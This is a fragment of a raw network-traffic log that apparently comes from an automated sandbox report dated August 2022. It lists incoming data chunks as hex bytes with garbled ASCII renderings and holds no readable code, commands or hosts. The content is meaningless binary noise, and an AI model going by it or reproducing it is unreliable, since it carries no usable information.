db 55 b6 38 d5 ea 05 ad 96 bd b2 8b 3d 8a fc 0e 4d 67 54 c1 c1 fc Data Ascii: 8`YZ"CTmoBPM0@EDO:ibu#J33{VEnJx>KUn\|mO-}&R;$Ns%i3+B,Jr*qv^v@?}G,AzKmtLtpXgh7Rf@2\U8=MgT
2022-08-05 09:32:58 UTC	43	IN	Data Raw: 1f c9 64 a7 62 f1 20 8e 17 0b ae 69 ba f5 46 3a eb ce 8a 99 83 7a ab 89 35 93 74 ca 97 bd dd 10 f4 78 3e dc a8 e3 d3 79 21 c8 0e 1a 66 27 dc f6 8f 0f d8 60 d0 a5 48 c2 08 d0 5b cf 14 e3 a3 ad 0a 54 80 43 54 4e c2 20 f9 9c f1 84 06 17 0e 5b 77 39 23 ae c3 bb 53 e7 cc 7e 94 df fd 55 6c 2a 9b 2c bd 7d b4 e4 51 28 f7 d5 62 d3 f8 e2 b6 a2 d2 5b 55 0b 09 b1 9b ab 63 5e 8f 29 35 cf aa dc 74 9b 54 e2 61 9e b8 b4 e2 76 4b 7d 87 b0 aa 85 93 a5 92 f1 79 78 38 eb bc d3 4b 7c 62 e8 de d9 79 99 30 89 75 e4 c4 0b 87 bd d6 cd ca 9a 06 5b 10 cb e4 02 a6 c2 14 fd 11 c5 14 9a ec 64 ec 78 b8 2c 9f 65 fd de b4 b7 56 75 17 84 84 61 51 6e 5d 7c a4 e5 0e 23 80 1e 1b cc ff d5 2d e9 8b 3b c0 22 7b c2 27 26 d9 9e c6 c7 85 30 02 78 e1 ad d9 69 89 0d 21 65 b7 5f 99 64 02 f6 0d 55 53 Data Ascii: db iF:z5tx>y!f'`H[TCTN [w9#S~Ul*,}Q(b[Uc^)5tTavK}yx8K\|by0u[dx,eVuaQn]\|#-;"{'&0xi!e_dUS
2022-08-05 09:32:58 UTC	44	IN	Data Raw: e4 21 60 b6 75 74 d0 e6 d5 27 77 55 34 3c 5b 4c 11 b6 c6 bf b1 95 50 39 e8 34 f2 7c 79 c2 c1 f1 c1 39 31 17 e5 a6 0a 53 14 78 c4 1d 48 e6 01 0c 07 4c ce 80 fb 6d 0e 60 4f 92 6a 10 25 9f ae 1b 13 97 de 4e fb 6e 15 85 fa f6 d4 63 bf 7c c8 cb 65 0b a9 35 05 c2 94 67 80 fc d6 6f a3 dd fd fc 67 cc 17 af e6 7b d4 7f 96 9d 87 22 91 3c 23 19 3d af 60 23 dd 7e dd 5a b8 63 51 6e 05 e1 f6 aa 67 8a 47 22 7a e0 50 af e6 2a 8e cc a0 45 22 f8 0d f3 a5 e5 48 24 1f ab 5a f3 88 a2 90 9a 0f d0 50 27 26 f5 54 0f 24 b5 f1 26 37 61 fb 69 b6 47 8b d1 0a 65 9b f6 08 7c cc 0b 53 b2 d8 0f 5d b3 f7 a4 17 2d f7 cd de 81 55 40 2b 31 fb a6 8f 5b d5 a7 11 21 7d 31 ca 7b e9 80 b9 43 12 a2 cd 04 37 47 c5 3f fc 1b db b6 ba 9d 82 1d 73 3e 40 6d 48 ea e1 80 4b 63 b5 da 41 8b cd c0 f1 62 13 Data Ascii: !`ut'wU4<[LP94\|y91SxHLm`Oj%Nnc\|e5gog{"<#=`#~ZcQngG"zP*E"H$ZP'&T$&7aiGe\|S]-U@+1[!}1{C7G?s>@mHKcAb
2022-08-05 09:32:58 UTC	45	IN	Data Raw: 32 8f 96 36 c3 21 0b b2 0c 93 f7 51 2c 51 32 e1 ad db 94 4a 3e 07 78 d1 70 95 5f 2d 8e b2 73 79 a9 61 43 42 79 c6 56 ed e5 3f 2b 17 a9 63 8c 0e 4b c2 68 62 35 8c 24 de 78 10 29 2d 78 b8 3d ae 31 dd f5 ff 18 93 f5 9b 60 1a 51 63 f0 0a 98 e5 41 ff c1 02 ae 4b bf c0 a4 03 0b 0d 1f 7f 7c ae 81 7c 78 a0 9d 4d 1b 8b 86 be 58 11 c3 44 4f 38 55 f3 7e 5d 33 d9 b5 f7 bb 89 15 cd c4 48 93 de 85 ea 87 3c ea b1 03 d6 65 6c 4f 35 54 fe b4 14 db c9 cb 3a 2c 1f ab a6 16 83 c6 99 9f 84 d2 37 cd 21 5f 4f 4c f8 d9 b4 88 ae 53 e8 f6 6e 03 9d ca d1 20 0b 0a ea 9a 9c eb ab 58 53 97 4d 93 8a 85 bd 48 75 48 89 ac ad 35 53 7f 28 6a 98 87 2e 8f cd f2 9e 25 37 4b cd 61 29 62 69 1b c8 4f 0c 5c f3 ba 40 8a ec fc 3d 65 40 7e 50 fa 79 d9 2c 8e 1f 63 46 a9 9a 0a 0a 5c 13 22 5f a7 0f 8f Data Ascii: 26!Q,Q2J>xp_-syaCByV?+cKhb5$x)-x=1`QcAK\|\|xMXDO8U~]3H<elO5T:,7!_OLSn XSMHuH5S(j.%7Ka)biO\@=e@~Py,cF\"_
2022-08-05 09:32:58 UTC	46	IN	Data Raw: 3b 3a 7d 31 5c 58 e2 d2 b8 0d 80 85 13 2e 9f 2f 58 4c f7 c6 bb 5e 44 e5 71 4b a0 3b d8 a7 ea 35 6b 17 7e 76 21 85 de ba f2 22 aa 12 57 c2 95 d6 f5 ab fc db 15 c3 b0 73 4a ce d6 50 a7 6c 8e 90 36 64 a3 4f 60 56 f5 ba 01 d4 6f ba 8a 46 3a e7 e0 8e c4 dc 4a 7b 93 1f 17 da ca 91 ca 85 02 f6 09 ea de ab ff 91 a4 06 ee 2e 65 ef 5a 72 f2 a4 f3 da 08 4f a6 48 c9 24 c2 59 b8 bb e3 b2 ab 7f 92 ac 44 78 37 48 5d 56 98 db a6 2f 9b be 58 47 34 0f 9f c1 c0 e3 e7 cc 7a fb 02 eb 7a 76 08 3e 61 dd 63 9c 1f 53 53 4a a6 16 d7 d4 fa ce db 6a 45 78 0c 40 66 b0 d6 f7 5c 9b 50 a5 37 aa cb 46 8e 29 5f 61 9e bc bd f4 0b eb 7f 90 a8 85 96 c8 68 0d f1 7d 7e 06 b0 23 24 4b 7b 50 f5 a3 63 79 99 34 8b 61 99 73 09 84 ae f9 d8 91 04 2c 26 8b c9 f2 7b 34 3a 14 ea 27 ea 00 97 97 f1 ec 74 Data Ascii: ;:}1\X./XL^DqK;5k~v!"WsJPl6dO`VoF:J{.eZrOH$YDx7H]V/XG4zzv>acSSJjEx@f\P7F)_ah}~#$K{Pcy4as,&{4:'t
2022-08-05 09:32:58 UTC	48	IN	Data Raw: 03 93 c2 32 c1 34 4f 25 90 d1 47 9c a4 af 7f b6 a7 ef 39 e3 0a 1d 94 59 35 f0 bd 6e c1 0e 08 72 72 4a c7 0e 18 33 03 c9 6d a7 e4 c5 a5 b9 39 ae e5 ab 8d eb 7f 2a 2a d3 6c 42 ca 4d 86 35 c1 44 03 76 f3 57 26 9e 51 77 94 3c 83 7c 9c 2b 29 a5 f3 75 7d 64 93 39 d0 56 97 94 aa 85 38 a6 05 7a e5 7f e0 fc 2f b2 1e ab df c3 4e b6 45 7c 47 53 0b ba e5 70 15 3d 53 3e 45 de b1 5e 54 53 f9 71 75 bb fc 22 94 7a e3 42 86 ff 46 7c ed 54 e8 01 c8 a1 a4 bf 97 40 92 bd 9b e6 d0 bb 6e c3 d0 70 25 54 3a 49 a8 64 fd c8 d3 10 56 dc 9a 95 fe f4 64 f3 ae d9 cd 05 93 51 b6 72 23 ba 44 21 4b fd 75 a3 bf 61 07 fc 39 77 34 8e e8 1f 38 00 a9 b6 28 0e b8 f2 85 88 8e 1e af fd 25 dd 90 7f 8b cb c3 93 5b 2a 86 e7 7f a5 05 1e 2c 54 ca 03 e3 aa 4f b4 b5 c9 12 6a 5a 2f f9 75 8c 2e 58 7e 91 Data Ascii: 24O%G9Y5nrrJ3m9*lBM5DvW&Qw<\|+)u}d9V8z/NE\|GSp=S>E^TSqu"zBF\|T@np%T:IdVdQr#D!Kua9w48(%[,TOjZ/u.X~
2022-08-05 09:32:58 UTC	49	IN	Data Raw: 53 c9 39 c5 e1 75 69 6a 3a 8b 03 cd f1 1a bd 05 0f ca e0 c0 c5 85 b7 8a 15 88 07 c0 b4 29 81 ef 9f 52 ed d9 f1 05 73 a1 0b eb 90 f9 8d 4b 33 f7 d5 0b 10 f0 3b 6b 50 93 d0 d0 9f d9 90 18 c1 7e df ce 42 65 e4 00 81 01 30 64 59 dd 6d eb 52 0e 3c b3 3d 9f 73 01 95 98 86 65 52 bd 94 d0 99 57 72 d4 95 04 6d 80 e2 60 25 f7 fb 9e c7 6f 80 a9 ca e0 07 79 bd 30 72 5a 88 94 9f d4 b0 e2 97 74 56 04 5c 1b 65 71 b6 0c b1 55 3c be 9d b2 ad 90 5b e9 c1 58 e6 be 7f 6e 2c 1a 85 26 88 3b 09 b7 74 62 5b 3c 7b 1d 28 7d 21 0e d1 bc 81 5c 46 98 05 ff 80 68 93 20 e8 83 4d 6e 81 a3 b2 78 61 26 ce 38 2a 68 83 c5 c8 1f 94 ef be d4 30 88 08 7a 37 25 c0 c5 a1 08 49 16 ee d2 77 fc b1 71 41 80 b3 0a 33 8f 3a b7 ff 37 09 bf 33 83 cd e6 19 81 10 cb e0 d4 c6 18 a0 7e 13 d7 09 46 c0 1b 99 Data Ascii: S9uij:)RsK3;kP~Be0dYmR<=seRWrm`%oy0rZtV\eqU<[Xn,&;tb[<{(}!\Fh Mnxa&8*h0z7%IwqA3:73~F
2022-08-05 09:32:58 UTC	50	IN	Data Raw: 21 1a ed 6b d8 e7 7a 19 3b e5 5a e5 55 00 72 d7 ab 27 26 5b f1 d5 da 5b 88 09 22 7c 5d 03 4e 08 9b 7a 0d aa a7 1f c0 33 be 4f 86 83 f5 bd 73 3e cb 98 a9 6f 52 b2 fb 08 d7 f3 af 2a 29 59 73 66 68 e5 2a c1 15 58 a4 95 f6 48 8a 55 c1 86 0a 7e 12 51 51 82 ad 04 b1 0d fd b3 5f a4 4c ab 4b 8e b4 5d c6 89 15 23 d5 6e 26 61 0d c9 28 65 49 0f 3f f5 e7 b6 b3 bc 22 b8 1e d5 1d 43 d8 28 6e 85 fe 30 85 ff f9 c7 24 de c4 8e e8 60 b9 cd 49 13 3b e4 c3 de 66 fa ae c8 d4 fb 1c 08 04 16 c3 49 41 da e8 13 db cd 4f 38 73 da 66 b3 1a 39 75 7f d6 0e 6a de 2b b7 40 3f 52 fb ab 39 64 27 de a9 81 af 36 2b 93 72 01 4e f5 f1 fd c3 94 cc 6f c3 b7 de 1b 72 93 ee ff c5 47 01 2c 14 e8 01 51 5d ac 30 5e 65 e3 e5 cb 4a 86 f2 39 f5 0a a3 77 34 ca 69 ee 83 55 b0 e3 6f af e7 fb 16 bf 4a 2c Data Ascii: !kz;ZUr'&[["\|]Nz3Os>oR)YsfhXHU~QQ_LK]#n&a(eI?"C(n0$`I;fIAO8sf9uj+@?R9d'6+rNorG,Q]0^eJ9w4iUoJ,
2022-08-05 09:32:58 UTC	51	IN	Data Raw: 9a 33 88 da 21 0c 3c d9 66 ae a7 41 1c d0 38 83 f4 d5 42 c5 6a f4 57 f4 dd eb c3 fd 01 b8 07 e0 67 e8 81 12 a0 1c 97 9c e2 f1 73 8f fe e3 e6 26 b2 39 93 10 28 56 53 63 d3 ec 6e f3 73 e5 3a 7b 3c 7b db f3 60 70 c8 aa f3 7a 69 0e 04 20 a8 9b 00 d8 bc 0e 5d 81 a0 a7 8c 8a 02 f1 e4 a8 1b 2b 60 fd 81 ab 8c 31 39 33 a3 9b 62 bb c8 ec fa c5 07 d2 27 7d bc c2 2f ab 27 53 9c 2e 9d d4 b5 f0 ae 1a 49 57 a3 89 f5 34 8e 99 8a af dc 87 ca 38 f9 3d cb b2 4e 29 fe 57 f9 78 c2 11 9a 1c 5f d0 e0 34 c6 bf e9 ff 9b 7d d4 12 fb 29 85 25 29 13 fd b6 b6 6a f5 57 1f 79 d3 be 8f e7 fa 4c 30 45 2c 54 be 77 60 41 9d ce c3 1a af 5f fc da 3e a2 3d b9 ba a3 fa cd 66 3f 53 4b d1 67 f5 de 21 71 ae e3 65 a6 45 a1 70 74 92 ac 29 52 4b 0f e5 f7 6e 64 5c 6d 6f ff 7c 21 5d 76 1f ae be 31 8a Data Ascii: 3!<fA8BjWgs&9(VScns:{<{`pzi ]+`193b'}/'S.IW48=N)Wx_4})%)jWyL0E,Tw`A_>=f?SKg!qeEpt)RKnd\mo\|!]v1
2022-08-05 09:32:58 UTC	52	IN	Data Raw: 31 a8 8b 15 bb 1e 6c 7c 44 e4 3d 07 da 72 5d 82 f3 0d 8d 03 89 cd c8 e8 33 39 de 75 ef 9b 39 c4 56 09 d4 7b 6c 5f 48 c2 fc a0 12 13 d9 f9 57 cb 1c bd a0 86 89 8e 9d a1 0e bd 35 9e ff 97 1f 35 81 1b b6 9e aa ca ed 7e 6b 39 8e 68 d4 bb 0d 73 0b 58 9e 78 da a6 52 41 45 65 44 92 bd a7 75 be 28 bb ad c4 8f 13 0f 54 d4 94 2d c0 c4 f6 e5 89 34 12 c9 74 2e 32 6d 6e c1 58 0b 15 f7 8c 8c 8d ec a7 3c 53 e3 79 50 85 52 e1 2c 88 15 c2 45 da a0 0c 4b e5 10 7b 5d a1 0f 15 c3 9b f2 6b cc dc bf 33 f4 19 d6 cf e6 5e 9f 72 b9 89 46 54 c5 1a 67 df cc fb c3 de 00 10 c8 06 59 ca b6 8d 73 f9 e9 4c 5c fb 51 34 38 d3 fb 2c 81 d2 b9 b4 81 06 99 ec 30 f2 67 1c c5 e2 de 5e 33 3a e8 e7 dd b4 53 5b 78 df 34 4b c0 40 05 4d 54 cf 84 a4 91 61 60 54 08 f5 16 58 9c d3 bf bf 93 a6 40 fb e0 Data Ascii: 1l\|D=r]39u9V{l_HW55~k9hsXxRAEeDu(T-4t.2mnX<SyPR,EK{]k3^rFTgYsL\Q48,0g^3:S[x4K@MTa`TX@
2022-08-05 09:32:58 UTC	53	IN	Data Raw: fe b3 06 e7 24 7d fb 26 dd f2 a4 5f d7 73 e0 6f 49 c6 08 f1 5b 43 15 f3 b2 6b 1f 4c ad 8d 73 3b 5c 03 f9 99 da a2 2d e8 1e 58 47 f9 22 83 c3 9f 53 e6 cd 7e 94 f8 fa 7a 7c 87 2b 13 6d 4b 9c 1a 50 28 f1 f2 06 d3 f8 21 cd af d1 69 78 09 2e 97 b1 a6 ed 5e 8f e4 1f 21 aa e2 44 99 55 ed 61 12 a8 bf e2 bf 5b 64 90 94 87 82 b4 ce 0d 4d 69 7c 12 04 96 38 4b 3f 52 e8 df d6 79 75 20 89 75 ed c7 17 84 eb fb ce ed bc 2c 2e 9e cb e4 cf 8c 19 14 af 21 c7 15 95 ec 5c fd 74 b8 e5 8f 44 e6 81 99 b2 71 0e b7 d0 95 65 7b c5 77 a3 a4 b4 3e 2b 81 39 1b 48 ee d5 2d 20 8a 10 e0 7c 37 c3 26 19 c9 0a 82 f7 55 e7 2b ad e1 f0 df 1a fc 0d 21 bf dc 5d 9a b0 2e ba 2b b7 79 a7 73 46 53 90 fb 43 c6 ef 36 4f f8 6e 66 8e 0d 30 77 60 70 31 02 5a b0 9c 11 ff 2b fa c2 97 ae 09 cb e6 f9 c0 94 Data Ascii: $}&_soI[CkLs;\-XG"S~z\|+mKP(!ix.^!DUa[dMi\|8K?Ryu u,.!\tDqe{w>+9H- \|7&U+!].+ysFSC6Onf0w`p1Z+
2022-08-05 09:32:58 UTC	55	IN	Data Raw: a4 42 14 a1 ee 9a 4d d6 17 f8 18 5f dc 95 d0 80 2a 44 44 1e 61 23 13 32 c1 ae 12 f6 ed 60 ff f6 a2 02 fc f7 dc 62 e7 dc f4 fd 63 93 1e da d1 43 1b c6 96 c2 fa eb 8a 1b fc c1 5b 8c cd bf e6 1c e8 5e 9b 98 af 98 c9 97 2a 70 e5 27 39 82 d4 7a de fb e7 a7 cb 69 05 26 71 28 41 a4 0b ff 23 41 5f ab 9d 48 d7 67 a7 47 27 c0 68 36 af f5 4d f3 74 43 97 f3 88 a1 f6 72 ad d7 50 e4 6a 53 54 1e 2e 1e 94 18 9c 71 eb cc d3 5e 8f c0 0a 25 6b f9 20 2b cc 0e 34 b7 ec 1b 5d 1e 91 23 16 a9 f7 a8 a9 8c 2f fc 2b a4 99 0d 8b 97 5f 62 77 a6 79 39 e7 86 a9 b7 ab 6e 14 b5 8e 0f 3e 6d 33 52 bf ec d3 b8 26 f0 c5 96 54 39 2f 21 22 ba ef 99 78 ef f4 5e 4a a6 3f f3 e6 71 12 6f 01 0a 37 fc a3 fe b8 41 30 c6 12 51 c6 56 c2 9c ab ed df e4 8d ed 7a 51 e5 f4 34 fa 8a e2 37 23 14 d1 60 83 54 Data Ascii: BM_DDa#2`bcC[^p'9zi&q(A#A_HgG'h6MtCrPjST.q^%k +4]#/+_bwy9n>m3R&T9/!"x^J?qo7A0QVzQ47#`T
2022-08-05 09:32:58 UTC	56	IN	Data Raw: 5c 72 e6 38 00 c0 92 66 8e 0c 30 61 68 ff 2e b8 93 bf c9 7d 03 2b 7a c3 87 b8 31 30 f9 bd 09 9a dd 97 4a 1a 5b 72 f6 24 09 16 5b 92 c3 76 15 eb 95 c4 cb e6 0a 0b 15 04 6f 57 87 5f 57 7a a1 30 a2 8b 86 2c 5a b0 56 91 4f 2e 43 b7 53 5d 33 f2 b7 8a 11 7a 0f 17 c6 27 33 4e ae ee b5 39 c2 30 09 47 4e 8a 59 5d e6 5a 9f 10 05 d9 c9 33 85 81 8a 44 c8 9e d7 27 9c 0e d2 37 c7 9b 8a ad 6f 6a 42 a1 88 aa 40 ef e7 6a 2f 88 c3 25 38 e1 65 1e 9b 9c e1 d8 b0 51 97 01 ff b8 a5 49 4e 60 27 2a ad ad 33 8e 56 4b 41 52 a5 d0 85 dc f0 e5 be 37 4b ca 72 68 70 ae 15 c4 5f 10 5e 38 fe 8c 8b ec fa 39 12 10 65 37 fc 4d b8 c4 a5 15 bd 46 83 a6 12 b8 72 0c 23 41 a7 17 a3 c0 c2 f2 6d ca 7e d7 4e f1 1e c8 66 b1 2b 9f 74 b9 27 43 0d 72 38 62 6d d0 a2 53 e0 00 d9 cb e6 5c cc b5 50 17 fc Data Ascii: \r8f0ah.}+z10J[r$[voW_Wz0,ZVO.CS]3z'3N90GNY]Z3D'7ojB@j/%8eQIN`'*3VKAR7Krhp_^89e7MFr#Am~Nf+t'Cr8bmS\P
2022-08-05 09:32:58 UTC	57	IN	Data Raw: f8 e2 e4 77 49 12 57 c6 97 bc 58 da c1 9b 39 b8 9b 26 0b e5 0d 5b 8c 9f f3 82 0b 58 a5 3e 82 fc c5 17 01 d4 6b c4 7a 96 07 d1 e0 c0 b9 ad 01 7b 97 1d 6c 65 ca 7c f3 f1 12 ae 72 60 92 ab fb fe 7a 16 ee 2d 59 a5 25 86 f2 3c bb d8 73 e0 a6 59 cd 61 ee 3e c1 4f e3 86 e2 10 4c ad 44 63 35 95 1e 95 9a 87 a2 91 ad 0e 58 47 30 32 8d 26 85 23 e5 90 7e b0 92 ea 7a 7c 0a 3b 1c 5c 5c ec 19 0c 28 a9 e8 16 d3 f8 e8 da a0 ac 7a 0d 0a 71 97 bd 99 fd 5e 8f 2d 08 37 33 f0 fe 98 0a ed d5 d1 b8 bf e2 76 4c 7f 69 93 c3 82 ea de d5 be 79 7c 12 cd 81 24 62 3f 16 e1 81 d6 91 d6 30 89 75 e4 d2 09 dd ea bf ce b3 bc d0 69 8f cb e4 06 9c 3a 9d ae 65 c6 4b 95 a8 34 ec 74 b8 2c 98 67 43 89 dd b0 2f 0e c3 d4 84 65 7b 48 60 8b 71 a6 7a 2a df 39 b3 9c ff d5 2d e9 9a 38 e5 6b 4c c1 78 09 Data Ascii: wIWX9&[X>kz{le\|r`z-Y%<sYa>OLDc5XG02&#~z\|;\\(zq^-73vLiy\|$b?0ui:eK4t,gC/e{H`qz*9-8kLx
2022-08-05 09:32:58 UTC	59	IN	Data Raw: bc 0a 99 1f d6 66 e5 11 9f 79 e2 93 45 d4 c5 d4 0a 6c cf a2 c3 da 00 80 90 52 5a 16 b6 61 1e fc ed d7 5c cd 55 91 63 61 fb dc 85 bb d3 b2 81 3f 9d ff 34 f1 3b e0 c1 3b da 3d 5d 1a ec e7 dd b0 53 45 20 74 33 90 c0 37 6e 2c 50 dd 84 c6 95 a6 38 f0 0b be 12 4a f7 c1 bf 12 97 ce 44 a4 bd 62 90 2a fd 65 1b e7 71 c1 da 77 85 37 59 2f c7 f2 d0 6a a0 cc 6c 8b 0a ea fc ac fd 1b ad 0d 71 9e 24 9a 9e af f5 86 3c 5c 29 3a ad 8f 29 53 0c de 5e be 0c 59 77 0d fd 6c 83 b1 a2 af 52 7a ea 54 ad 0e b1 d7 ac 4a 55 d4 e9 a4 ad ac f4 45 26 86 c4 e3 92 b4 a6 61 f5 14 a3 50 21 06 94 c5 0f 8b 0b cd 0e 6b 60 df 1a b6 47 8b d1 9b f0 db 96 d3 39 3f 0b 02 da e8 0a 5d 2b 71 bc e4 a2 90 cd 3b 83 42 9e 2b 31 f7 8a 19 86 6a c6 e8 22 8c 28 07 00 cf 96 af 6f 92 9c 15 21 5d 6c c7 33 2b 90 Data Ascii: fyElRZa\Uca?4;;=]SE t37n,P8JDb*eqw7Y/jlq$<\):)S^YwlRzTJUE&aP!k`G9?]+q;B+1j"(o!]l3+
2022-08-05 09:32:58 UTC	60	IN	Data Raw: 38 b0 70 0e b7 92 84 c0 03 59 73 ba a5 ea 9c 2a 80 39 1b da ff 3c 55 d5 89 09 e1 12 95 c3 27 09 c9 a8 93 ee 2c 12 28 b6 e0 c9 7d 1a fd 0d 21 79 cd 00 e3 45 2d c4 2a e3 db ad 72 46 53 6a ea e2 bf a6 37 31 f9 0c c4 8e 0c 30 77 7e 62 d4 7b af b3 f8 10 c9 89 7a c3 87 ae 27 d9 cf 83 35 97 ec 12 6c b9 5b 72 f6 22 07 e5 2c 8f ff 7b 24 4a 87 67 cb e6 0a 0d 03 69 fe e6 bb 52 66 a3 ef 93 a2 8b 86 ba 4c 6d 83 3e 73 3e 72 da e8 fe 33 f2 b7 8c 1f 89 2c b2 fa 31 02 df 39 4d b5 39 c2 56 14 d6 12 15 a0 4b d7 ff 5c b3 05 d9 c9 55 98 1e 06 db 31 88 e6 9e af aa d2 37 c7 fd 97 1f 93 f8 bb b7 b9 ab 08 4b e7 69 2f 8e cd d6 2f 73 9c 08 aa 9d 99 7c b0 52 97 47 ea 46 d5 c1 b7 74 16 2b 05 09 33 8d 56 0d 54 d4 12 52 7c c5 c1 e4 66 93 4b c9 72 2e 65 6e f2 bd a7 08 6f f5 dd 29 8b ec Data Ascii: 8pYs9<U',(}!yE-rFSj710w~b{z'5l[r",{$JgiRfLm>s>r3,19M9VK\U17Ki//s\|RGFt+3VTR\|fKr.eno)
2022-08-05 09:32:58 UTC	61	IN	Data Raw: cf 83 2e eb 2b 91 6b a7 8b e7 5e fb a5 21 78 28 e7 75 cf 7a 3b 5e 12 e6 e7 43 8e 6c 33 33 d7 e5 d2 a2 b5 b9 a9 73 54 ac 9b 58 48 ea eb 99 78 2e 0b be 4b c3 3e 6e 3f f6 13 69 01 6d 5b bc 36 df b9 87 5e 72 a4 57 c6 97 ad 59 ab 24 4a 1e e3 fe 7f 0c 52 0d 5b 8c 8e f2 37 76 f2 e7 62 e5 55 8e af 01 d4 6b d5 7b 47 fe 7b a8 9c d3 70 92 c3 97 1d 6c 74 cb 91 d6 3e 88 f5 1e 45 fe 12 fb fe 7a 07 ef 24 03 6c bf dd 9f a5 87 61 73 e0 a6 48 cc 08 60 cc 91 12 8d b3 8f aa 4c ad 44 72 33 5c c8 6e ff db cd 2c 90 b4 58 47 30 23 8c c3 bf cb be ca 11 95 08 56 7a 7c 0a 2a 1d 6d 3b 04 7a 57 59 f0 7e a8 d3 f8 e8 cc a6 d1 8d e0 61 29 e3 b0 5e 42 5e 8f 2d 1e 36 aa cf dd ff 54 98 60 26 78 bf e2 76 5a 79 90 9c 1e e5 b5 ab 0c 15 b8 7c 12 cd 97 25 4b 33 cb 8e d8 a3 78 59 f2 89 75 e4 c4 Data Ascii: .+k^!x(uz;^Cl33sTXHx.K>n?im[6^rWY$JR[7vbUk{G{plt>Ez$lasH`LDr3\n,XG0#Vz\|*m;zWY~a)^B^-6T`&xvZy\|%K3xYu
2022-08-05 09:32:58 UTC	62	IN	Data Raw: ad ae 33 e5 79 0d 42 d5 87 b6 aa c6 f0 e4 be ff 64 c9 72 2f 73 72 07 c1 5e 0a 5e b5 e5 8c 8b ee fa 62 3a e3 7f 51 fc d3 88 2c 8e 17 bd d8 b3 a0 0a 4a 68 d5 12 5d a7 0e 8f 07 e0 f2 6d cd 7e 01 5d f4 1f d7 66 78 3e 9f 74 b8 27 ac 34 c5 1c 66 6c 4e 98 c3 cc 01 d9 72 dc 5a cc b4 75 a5 c6 ed d7 5d db 18 0a 38 d5 fa 07 1c e9 bd b2 80 3f 88 d6 34 f4 66 54 a0 d8 da f5 32 1a 31 d8 dd a6 52 14 49 9b 30 4d c2 17 50 6d 50 dd 87 d0 f8 5e 64 46 09 61 ab 67 98 c1 bd 12 42 99 44 fd e1 a2 b2 8b fd dd 76 e7 4c 83 da 61 84 1e 8e a6 c4 1a d2 96 6a 8e 6c 8b 0b fc 0d 2f a3 cf af e6 68 9a 54 9a 9c af c0 d4 3c 29 77 e5 2f 24 29 d7 7e de c3 fa 0c c8 6e 05 0e 6c 83 42 a3 0b 17 3f ea 5c ac 9d 30 cb cc a4 57 27 24 4d df ac f5 4d 6f 51 c4 96 f3 88 43 b6 f5 ac d0 50 d4 48 94 54 0e 2e Data Ascii: 3yBdr/sr^^b:Q,Jh]m~]fx>t'4flNrZu]8?4fT21RI0MPmP^dFagBDvLajl/hT<)w/$)~nlB?\0W'$MMoQCPHT.
2022-08-05 09:32:58 UTC	64	IN	Data Raw: bf 87 04 5a 7f 92 ac 06 f0 b5 de 0c f1 b0 0f 12 cd 96 24 4a 0b 52 e1 df d6 34 ed 30 89 74 e4 41 7d 84 aa f9 ce 4d c8 2c 26 8c cb 59 72 8d 3a 10 ee f8 b2 14 95 e9 64 19 00 b8 2c 8f 67 cb bc 99 b0 71 0e ce f1 84 65 79 48 e3 fe a4 e6 3f 2a 61 4c 1b cc fe d5 f8 96 8b 38 e2 2a c6 bc 27 09 c8 be ae 77 55 2e 28 87 b8 2d df 1a fc 0d 14 ee cd 5d 9b 79 ae 74 2b 73 7b ad ef c7 53 7c eb 43 2f 67 35 00 f9 b8 53 0c 0c 30 76 68 6f b2 02 93 b3 c9 38 aa 2b 7a c0 87 eb b2 d9 e6 f8 09 e8 5e 13 60 1b 5b 4f a1 22 11 e4 41 24 40 79 15 4a bf cd 4f e6 0a 0f 15 4c cb 9c 87 53 57 e3 0f 30 a2 8a 86 0b de 6d 76 45 4f d8 c9 db 78 5f 33 f2 3c 8c 09 8a 15 d5 4d 33 33 da 85 d6 3e 39 c2 53 02 82 e4 6e 59 49 e6 4a 3f 10 05 d8 c9 55 02 1e ab a1 c8 c7 5b 9f b7 0f d2 af 4b fd 81 1e 4e 67 ce Data Ascii: Z$JR40tA}M,&Yr:d,gqeyH?aL8'wU.(-]yt+s{S\|C/g5S0vho8+z^`[O"A$@yJOLSW0mvEOx_3<M33>9SnYIJ?U[KNg
2022-08-05 09:32:58 UTC	65	IN	Data Raw: a9 6e ab 8b cd 65 55 d4 f3 0d de 15 f7 be 3c 12 c5 b7 f3 7b be bf f4 e5 d5 a3 3b 69 94 9d 0c dd 71 f4 0d a1 64 18 73 2e 46 5a d2 f9 ea 0b f7 78 3e 3f 11 35 a9 d9 09 81 83 0f ac 26 bb 19 65 31 8b 22 ed d8 2b 98 8a 9e 86 ac bd 76 21 64 28 14 69 a8 96 8b 6f e7 9e 81 3b 16 6c c0 29 b0 e3 de be d9 9b c4 11 41 38 d6 42 23 ea f7 98 81 5c f5 d9 6f a0 c6 d8 e1 f6 3f 69 f8 71 30 38 32 fb 4b fe 38 02 26 57 05 8d ce 58 62 fc 21 91 b5 92 a7 40 16 17 5e 8d bf f5 3a 9f 5d a6 bd 87 48 27 60 08 bd 6a fb d3 d0 3a ac e2 a0 10 f1 43 02 95 ee 76 71 cb f8 cf 5a 0a 93 72 2d df e7 52 79 73 36 ee 74 ce 5e 25 ed f0 c4 5e 4a 7a d1 a4 3b 64 ae d0 22 c1 e7 f9 2a a6 79 4d d2 ed ef 34 2d 21 7f 31 bc a2 7c e4 80 f1 ee 39 b2 8e 5e a7 c4 e7 5d 7d 54 c0 76 7a ed 09 c2 00 cb 63 d0 1b cc 81 Data Ascii: neU<{;iqds.FZx>?5&e1"+v!d(io;l)A8B#\o?iq082K8&WXb!@^:]H'`j:CvqZr-Rys6t^%^Jz;d"*yM4-!1\|9^]}Tvzc
2022-08-05 09:32:58 UTC	66	IN	Data Raw: 12 3b d8 b7 e7 87 a2 ba cf 49 76 18 e5 78 c3 1e ca f5 1c ee e6 c7 b1 cf 93 d6 ca 84 97 ac fc f5 6f 7a 64 ae ea e8 dd b3 31 98 a3 ec 96 cf 82 ea e5 f7 65 86 7e 61 d2 e7 bc f1 63 ff 07 5e 2a 87 ee fa 0e 8e 7a 54 f5 31 96 05 8e 00 0d fe 2c 55 08 9d 07 9f 4d 92 17 37 3f cb 89 c0 92 4b 05 f1 5a e5 0e 58 fd 64 2e c7 f1 73 31 5a e1 ad b6 b4 22 e8 0b 49 0c e7 8d aa c0 9a 53 b6 44 a7 51 87 f7 8a be 82 fd 61 cf 14 84 96 21 9d ff b3 21 c4 54 0b 11 6d d1 6a ec cf cf dc 04 ab 1f 28 e6 6f 91 0b 33 4f d7 10 c8 d9 20 88 ad 36 f9 d2 23 14 48 19 f1 ff 78 e7 9c 24 e0 30 3d 63 88 c3 bf 92 0d 82 59 06 0f 54 ba a8 5f 58 be 59 cc 76 af ab b1 